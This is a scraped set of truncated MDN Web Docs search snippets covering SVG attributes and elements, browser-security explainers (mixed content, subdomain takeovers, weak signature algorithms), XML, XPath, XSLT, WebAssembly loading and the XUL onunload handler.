t of 1.414 converts miters to bevels for theta less than 90 degrees, a limit of 4.0 converts them for theta less than approximately 29 degrees, and a limit of 10.0 converts them for theta less than approximately 11.5 degrees. usage context value <number> default value 4 animatable yes the value of stroke-miterlimit must be greater than or equal to 1. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-miterlimitchrome ...
stroke-width - SVG: Scalable Vector Graphics
" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes value <length> | <percentage> default value 1px animatable yes note: a percentage value is always computed as a percentage of the normalized viewbox diagonal length. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ...
stroke - SVG: Scalable Vector Graphics
Web › SVG › Attribute › stroke
status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification. candidate recommendation definition for shapes and texts. adds context-fill and context-stroke. scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke' in that specification. recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstrokechrome ...
style - SVG: Scalable Vector Graphics
Web › SVG › Attribute › style
usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language. by default, the style sheet language is css. note: in theory, the contentstyletype attribute could be used to specify styling languages other than css, like xsl(t). however, this was never implemented satisfactorily in browsers, so you should not rely on it. specifications specification status comment scalable vector graphics (svg) 2the definition of 'style' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'style' in that specification. recommendation initial definition ...
text-anchor - SVG: Scalable Vector Graphics
nitial text position. specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-anchor' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-anchor' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-anchorchrome ...
text-rendering - SVG: Scalable Vector Graphics
the rendering of path data. specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-renderingchrome ...
viewBox - SVG: Scalable Vector Graphics
Web › SVG › Attribute › viewBox
the viewbox attribute defines the position and dimension, in user space, of an svg viewport. the value of the viewbox attribute is a list of four numbers: min-x, min-y, width and height. the numbers separated by whitespace and/or a comma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport). html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for th...
writing-mode - SVG: Scalable Vector Graphics
aphics (svg) 2the definition of 'writing-mode' in that specification. candidate recommendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'writing-mode' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-modechrome ...
xml:space - SVG: Scalable Vector Graphics
therefore, changing this attributeʼs value through the dom api may have no effect. ...
<circle> - SVG: Scalable Vector Graphics
Web › SVG › Element › circle
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<clipPath> - SVG: Scalable Vector Graphics
Web › SVG › Element › clipPath
> <circle cx="40" cy="35" r="35" /> </clippath> <!-- the original black heart, for reference --> <path id="heart" d="m10,30 a20,20,0,0,1,50,30 a20,20,0,0,1,90,30 q90,60,50,90 q10,60,10,30 z" /> <!-- only the portion of the red heart inside the clip circle is visible. --> <use clip-path="url(#myclip)" xlink:href="#heart" fill="red" /> </svg> /* with a touch of css for browsers who * * implemented the r geometry property. */ @keyframes openyourheart {from {r: 0} to {r: 60px}} #myclip circle { animation: openyourheart 15s infinite; } a clipping path is conceptually equivalent to a custom viewport for the referencing element. thus, it affects the rendering of an element, but not the element's inherent geometry. the bounding box of a clipped element (meaning, a...
<ellipse> - SVG: Scalable Vector Graphics
Web › SVG › Element › ellipse
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<feComposite> - SVG: Scalable Vector Graphics
ss style specific attributes in in2 operator k1 k2 k3 k4 dom interface this element implements the svgfecompositeelement interface. example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators. the first set wipes out the background image by flooding with opaque white. the second set does not wip...
<g> - SVG: Scalable Vector Graphics
Web › SVG › Element › g
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <f...
<line> - SVG: Scalable Vector Graphics
Web › SVG › Element › line
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<marker> - SVG: Scalable Vector Graphics
Web › SVG › Element › marker
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <...
<path> - SVG: Scalable Vector Graphics
Web › SVG › Element › path
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specific...
<pattern> - SVG: Scalable Vector Graphics
Web › SVG › Element › pattern
ercentage> ; default value: 0; animatable: yes x this attribute determines the x coordinate shift of the pattern tile. value type: <length>|<percentage> ; default value: 0; animatable: yes xlink:href deprecated since svg 2 this attribute reference a template pattern that provides default values for the <pattern> attributes. value type: <url>; default value: none; animatable: yes note: for browsers implementing href, if both href and xlink:href are set, xlink:href will be ignored and only href will be used. y this attribute determines the y coordinate shift of the pattern tile. value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes m...
<polygon> - SVG: Scalable Vector Graphics
Web › SVG › Element › polygon
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<polyline> - SVG: Scalable Vector Graphics
Web › SVG › Element › polyline
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<rect> - SVG: Scalable Vector Graphics
Web › SVG › Element › rect
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) ...
<script> - SVG: Scalable Vector Graphics
Web › SVG › Element › script
the svg script element allows to add scripts to an svg document. ...
<svg> - SVG: Scalable Vector Graphics
Web › SVG › Element › svg
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <f...
<switch> - SVG: Scalable Vector Graphics
Web › SVG › Element › switch
image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transform dom interface this element implements the svgswitchelement interface. svg <switch> example this example demonstrates showing different text content depending on the browser's language settings. the switch element will display the first of its child elements whose systemlanguage attribute matches the user's language, or the fallback element with no systemlanguage attribute if none of them match. html content <svg viewbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text syst...
<text> - SVG: Scalable Vector Graphics
Web › SVG › Element › text
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status comment sc...
<textPath> - SVG: Scalable Vector Graphics
Web › SVG › Element › textPath
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specificat...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
Web › SVG › Element › title
if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element. note: for backward compatibility with svg 1.1, <title> elements should be the first child element of their parent. ...
<tspan> - SVG: Scalable Vector Graphics
Web › SVG › Element › tspan
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification ...
Linking - SVG: Scalable Vector Graphics
Web › SVG › Linking
however, target does not work with mozilla's implementation of the svg <a> element in firefox 1.5. (the problem will be fixed in firefox 2.0.) anyway, the resultant behavior in moz svg is that page2.html will be loaded into the frame where the svg button was (i.e. you would now have page2.html embedded inside...
Namespaces crash course - SVG: Scalable Vector Graphics
as an xml dialect, svg is namespaced. it is important to understand the concept of namespaces and how they are used if you plan to author svg content. versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict. take some time to understand namespaces now and it will save you all sorts of headaches in the future. background it has been a long standing goal of the w3c to make it possible for different types of xml based content to be mixed together in the same xml file. for example, svg and mathml might be incorporated directly into an xhtml based scientific document. being able to mix content types like this has ma...
SVG as an Image - SVG: Scalable Vector Graphics
external resources (e.g. images, stylesheets) cannot be loaded, though they can be used if inlined through data: uris. ...
Paths - SVG: Scalable Vector Graphics
Web › SVG › Tutorial › Paths
ightly askew, and then connecting them with another path segment. ...
SVG fonts - SVG: Scalable Vector Graphics
« previousnext » when svg was specified, support for web fonts was not widespread in browsers. since accessing the correct font file is however crucial for rendering text correctly, a font description technology was added to svg to provide this ability. it was not meant for compatibility with other formats like postscript or otf, but rather as a simple means of embedding glyph information into svg when rendered. svg fonts are currently supported only in safari and android browser. internet explorer hasn't considered implementing this, the functionality has been removed from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff. other tools however like the adobe svg viewer plugin, batik and parts of inkscape support svg fon...
SVG Tutorial - SVG: Scalable Vector Graphics
Web › SVG › Tutorial
this tutorial aims to explain the internals of svg and is packed with technical details. if you just want to draw beautiful images, you might find more useful resources at inkscape's documentation page. another good introduction to svg is provided by the w3c's svg primer. the tutorial is in an early stage of development. if you're able, please help out by chipping in and writing a paragraph or two. ...
How to fix a website with blocked mixed content - Web security
pages will be blocked by default. consequently, your website may appear broken to users (if iframes or plugins don't load, etc.). passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. note that since mixed content blocking already happens in chrome and internet explorer, it is very likely that if your website works in both of these browsers, it will work equally well in firefox with mixed content blocking. in any case, the best way to know if something is broken in firefox is to download the latest firefox edition, open different pages on your website with the web console open (enable the "security" messages) and see if anything related to mixed content is reported. or use a free online crawler like ssl-check or missing padlock,...
Mixed content - Web security
er attack vectors. in the mixed active content case, a man-in-the-middle attacker can intercept the request for the http content. the attacker can also rewrite the response to include malicious javascript code. malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example). the risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. the webpage may have public data visible to the world or private data visible only when authenticated. if the webpage is public and has no sensitive data about the user, using mixed active content still provides the a...
Subdomain takeovers - Web security
add a blog at blog.example.com, and you decide to use a hosting provider who maintains a blogging platform. (for "blog", you can substitute "e-commerce platform", "customer service platform", or any other "cloud-based" virtual hosting scenario.) the process you go through might look like this: you register the name "blog.example.com" with a domain registrar. you set up dns records to direct browsers that want to access blog.example.com so that they go to the virtual host. you create a virtual host at the hosting provider. unless the hosting provider is very careful to verify that the entity who sets up the virtual host actually is the owner of the subdomain name, an attacker who is quicker than you could create a virtual host with the same hosting provider, using your subdomain name. i...
Weak signature algorithms - Web security
oid them when appropriate. weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates. as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed. sha-1 sha-1 certificates will no longer be treated as secure by major browser manufacturers beginning in 2017. certificates employing more secure hash algorithms (such as sha-256 or sha-512) should be used instead. md5 support for md5 based signatures was removed in early 2012. ...
HTML Imports - Web Components
try to avoid using it. firefox will not ship html imports in its current form. see this status update for more information. until there is a consensus on the standard or alternative mechanisms are worked out, you can use a polyfill such as google's webcomponents.js. html imports is intended to be the packaging mechanism for web components, but you can also use html imports by itself. you import an html file by using a <link> tag in an html document like this: <link rel="import" href="myfile.html"> the import link type is new. ...
xml:base - XML: Extensible Markup Language
Web › XML › xml:base
" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypass cors issue while not changing the base uri for your entire document. work-arounds xml:base support in old browsers https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2 specifications specification status comment xml base (second edition) recommendation ...
XPath
.childnodes properties, and other dom core features. xpath uses a path notation (as in urls) for navigating through the hierarchical structure of an xml document. it uses a non-xml syntax so that it can be used in uris and xml attribute values. note: support for xpath varies widely; it's supported reasonably well in firefox (although there are no plans to improve support further), while other browsers implement it to a lesser extent, if at all. if you need a polyfill, you may consider js-xpath or wicked-good-xpath. documentation introduction to using xpath in javascript describes a non-xslt use of xpath. xpath:axes list and definition of the axes defined in the xpath specification. axes are used to describe the relationships between nodes. xpath:functions list and description of...
Index - XSLT: Extensible Stylesheet Language Transformations
Web › XSLT › Index
mation on it. these are the same files used in the generating html example in the xslt in netscape gecko article. the xml file describes an article and the xsl file formats the information for display. 8 interface list needscontent, reference see xsltprocessor in the web api documentation section. 9 introduction gecko, intro, javascript, xslt with modern browsers supporting xslt, developers can now use javascript to access the power that xslt provides. javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document. since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. 10 javascript/xslt bin...
An Overview - XSLT: Extensible Stylesheet Language Transformations
re its children, which can be elements, comments, processing instructions and so on. some of those children may also have children. and this can continue for several levels. there are certain constraints on which type of nodes can occur where: for example, text nodes can have no children. the result of the processor's action is also a tree. netscape uses this tree to render the contents in the browser window. xslt is a high-level declarative language. in essence, an xslt stylesheet is a set of rules, called templates, which declare that any node that matches this specific pattern should be manipulated in this specific way and end up in this specific position in the result tree. the particulars of how this is to be accomplished are left up to the processor. because the order of execution ...
Introduction - XSLT: Extensible Stylesheet Language Transformations
javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document. since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. xslt allows the author to directly manipulate the structure of a document. for example, it permits the rearranging and sorting of elements; it also provides more fine-grained control of the resulting document's structure. as of mozilla 1.2, gecko enables javascript to create xslt processors. this article covers xslt/javascript bindings in gecko. ...
Loading and running WebAssembly code - WebAssembly
pt, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. what are the options? webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it. this is analogous to new function(string), except that we are substituting a string of characters (javascript source code) with an array buffer of bytes (w...
onunload - XUL
« xul reference home onunload type: script code specifies a set of scripts to execute when the browser window is closed by the user. this code is used by some programmers to annoyingly pop up alert boxes preventing the users from leaving the page. closing the window calls this eventhandler on the prefwindow. ...